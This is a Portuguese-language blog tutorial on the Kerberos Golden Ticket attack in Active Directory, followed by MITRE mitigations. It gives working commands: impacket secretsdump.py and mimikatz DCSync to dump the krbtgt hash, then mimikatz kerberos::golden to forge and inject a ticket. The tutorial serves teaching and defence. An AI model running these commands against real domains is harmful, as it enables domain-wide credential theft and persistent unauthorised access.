Kerberos é um protocolo de autenticação usado para verificar a identidade de um usuário ou host em uma rede do Active Directory e faz parte da arquitetura de logon único do WinLogon.
Quando o usuário inicia o processo de logon uma requisição de ticket é enviado ao controlador de domínio que retorna o TGT (Ticket Grand Ticket) contendo informações criptografadas com a senha do conta krbtgt (Key Distribution Center Service Account)
Em resumo o segredo do usuário krbtgt, cujo hash de senha é usado para assinar ou criptografar tíquetes Kerberos emitidos pelo KDC, assim, comprometer o hash krbtgt permite que um adversário se comporte como se fosse o Active Directory.
🌐 Artigo sobre LSASS Dump, Pass-The-Hash e Pass-The-Ticket
A senha da conta krbtgt nunca muda e o nome da conta é o mesmo em todos os domínios, portanto, é um alvo bem conhecido para invasores. – Veja abaixo os links sobre a melhor pratica na mitigação desse ataque.
Ataque Golden Ticket
O ataque Golden Ticket consiste em aproveitar as informações de senha da conta KRBTGT para criar tíquetes Kerberos forjados (TGTs) que podem ser usados para solicitar tíquetes TGS para qualquer serviço em qualquer computador no domínio.
Geralmente esse é um ataque em ambientes comprometidos com privilegio elevado e o foco é manter a persistência na rede com controle.
- Ferramentas mais utilizadas no ataque: Mimikatz, PowerShell Empire, Ke3chang, impacket
- Foco – Persistência
- Nível de dificuldade: Alto
Coletar o hash do krbtgt
Remotamente é possível com o script do impacket se o usuário tiver credencial secretsdump.py itsec.lab/alan.turing:P@ssw0rd@192.168.0.150 -just-dc-ntlm
Localmente com o com o comando do mimikatz.exe "lsadump::dcsync /user:ITSEC\KRBTGT"
Forjando tíquetes Kerberos
Depois de comprometer o hash da senha krbtgt seja com o mimikatz ou Impacket é hora de forjar tíquetes Kerberos. Agora vamos usar o Golden Ticket para criar um tíquete Kerberos (TGT) para um usuário (que o nome nem precisa realmente existir no Active Directory). Como a raiz da confiança no Kerberos é o hash de senha krbtgt, este TGT é considerado totalmente válido.
Neste exemplo usarei o SID do administrator .
kerberos::golden /domain:itsec.lab /sid:S-1-5-21-1074588582-2179912094-1559330049 /user:Hacker /krbtgt:488a032d57049f7aab31ba1be7fb4969 /ptt
Pass the Ticket
Agora que você gerou um golden ticket, é possível usar o próprio mimikatz para carregar o golden ticket na sessão atual. misc::cmd
e então executar comandos privilegiados.
Mitigação
https://attack.mitre.org/techniques/T1558/001/
ID | Mitigação | Descrição |
---|---|---|
M1015 | Active Directory Configuration | Para conter o impacto de um Golden Ticket gerado anteriormente, redefina a senha da conta KRBTGT embutida duas vezes, o que invalidará todos os tíquetes existentes que foram criados com o hash KRBTGT e outros tíquetes Kerberos derivados dele. Para cada domínio, altere a senha da conta KRBTGT uma vez, force a replicação e, em seguida, altere a senha uma segunda vez. Considere alternar a senha da conta KRBTGT a cada 180 dias.[8] |
M1026 | Privileged Account Management | Limite as permissões da conta de administrador de domínio aos controladores de domínio e servidores limitados. Delegar outras funções administrativas a contas separadas. |
Seja o primeiro a comentar